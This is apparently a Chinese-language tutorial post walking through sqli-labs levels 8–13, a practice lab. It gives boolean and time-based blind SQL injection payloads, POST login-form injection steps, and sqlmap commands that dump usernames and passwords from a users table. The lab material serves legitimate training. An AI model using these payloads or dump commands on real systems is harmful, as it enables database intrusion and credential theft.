sqli-labs注入全流程！2026最新（less8-13）

Less-8(单引号字符型布尔盲注)

/*这一关的页面不会直接显示数据库信息或报错，只会根据 SQL 语句的真假，返回"You are in"或者没有任何内容，因此我们需要通过页面的"有"和"无"来推断数据*/

闭合类型：单引号 ‘ 闭合

输入?id=1’ and 1=1--+真

?id=1’ and 1=2--+假

可证明是布尔盲注。

使用length()：判断长度。

substr()/mid()：截取字符串。

如：判断数据库名长度是否等于8

?id=1' and length(database())=8 --+

一个个数字尝试，直到回显为真（you are in..），证明长度为8

接下来爆破表明，用

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1) = 'a' --+！注意！,1),1,1) = 'a'中，黄1是位置变量

来猜第n为的字母，如上述代码的作用就是查看第一位的字母是否为a

反复猜知道爆出库明，然后用同样的方法爆表名和列名，最后得到数据。

如果你觉得这样太麻烦，不妨使用sqlmap进行注入（在知道原理的情况下使用工具是没问题的！）

！此关之后的关卡只会教学手工注入，理解原理为主！

sqlmap -u "http://你的靶机IP/sqli-labs-master/Less-8/?id=1" --technique=B –batch

 -u：指定存在潜在注入点的URL。

 --technique=B：告诉 sqlmap 只使用布尔盲注（Boolean-based blind）技术进行测试

 。

 --batch：使用默认选项自动运行，无需我们手动确认

找到注入点后：--current-db –batch来爆库明（双引号里内容不变）

找到有用的数据，然后继续按流程爆表明、列名、数据。

表明：-D security --tables --batch

列名：-D security -T users --columns --batch

数据：-D security -T users -C "username,password" --dump --batch

使用工具轻松拿下！

第一次使用sqlmap可以执行-h来查看所有命令

Less-9(时间盲注)

/*这一关和 Less-8 最大的不同是，你输入任何东西，页面都只返回 "You are in..."，没有任何变化。这就意味着我们不能通过页面有没有内容来判断对错了，得换一种思路：用响应时间的长短来判断条件是否成立，也就是时间盲注。*/

首先用：

http://你的靶机IP/sqli-labs/Less-9/?id=1' and sleep(10) --+

来判断闭合类型，（如果是‘闭合，则页面响应延迟10秒），然后耐心等待，若有延迟10秒，说明闭合类型是单引号’。若立即响应，说明不是，多尝试（’ “ ‘） “) ‘)) “)) 等闭合）

响应时间即左上角的加载图标，一直转说明还在响应！

然后开始爆库名：

?id=1' and if((length(database())=8),sleep(5),0) --+若库名长度为8，响应5秒

?id=1' and if((substr(database(),1,1)='a'),sleep(5),0) --+若第一个数字是a,响应5秒

和上一关一样，猜完长度猜字母，直到拿到users数据！

Less-10:除闭合方式为双引号“外，和less-9没有区别。

Less-11（单引号字符型注入）

/*从这一关开始，我们进入了一个新的领域：POST 注入。页面从在 URL 后面拼接参数，变成了一个登录表单。但这背后的核心逻辑和 SQL 注入的本质，和我们之前学过的 GET 型注入是完全相通的。*/

首先判断闭合：在Username输入框输入：admin'（密码随便填，比如 123）

正常不会报错，如果报错，说明‘闭合了username，多出了一个‘ ，所以报错

所以本体以单引号‘闭合

可以验证一下，在admin’后加#注释掉后边的 ‘ 。即admin’ #

单引号不在干扰程序，正常执行提示密码错误。

接下来输入admin' order by 1 #把1以此换成2，3.判断字段数。接下来是回显

聪明的你一定发现了接下来的流程和第一关一样了，只是payload中id=1 换成了admin（任意用户名）。所以接下来的流程也就不过多赘述~

Less-12、less-13的区别是闭合方式分别变成 ‘）和 “）其他和less-11没有区别。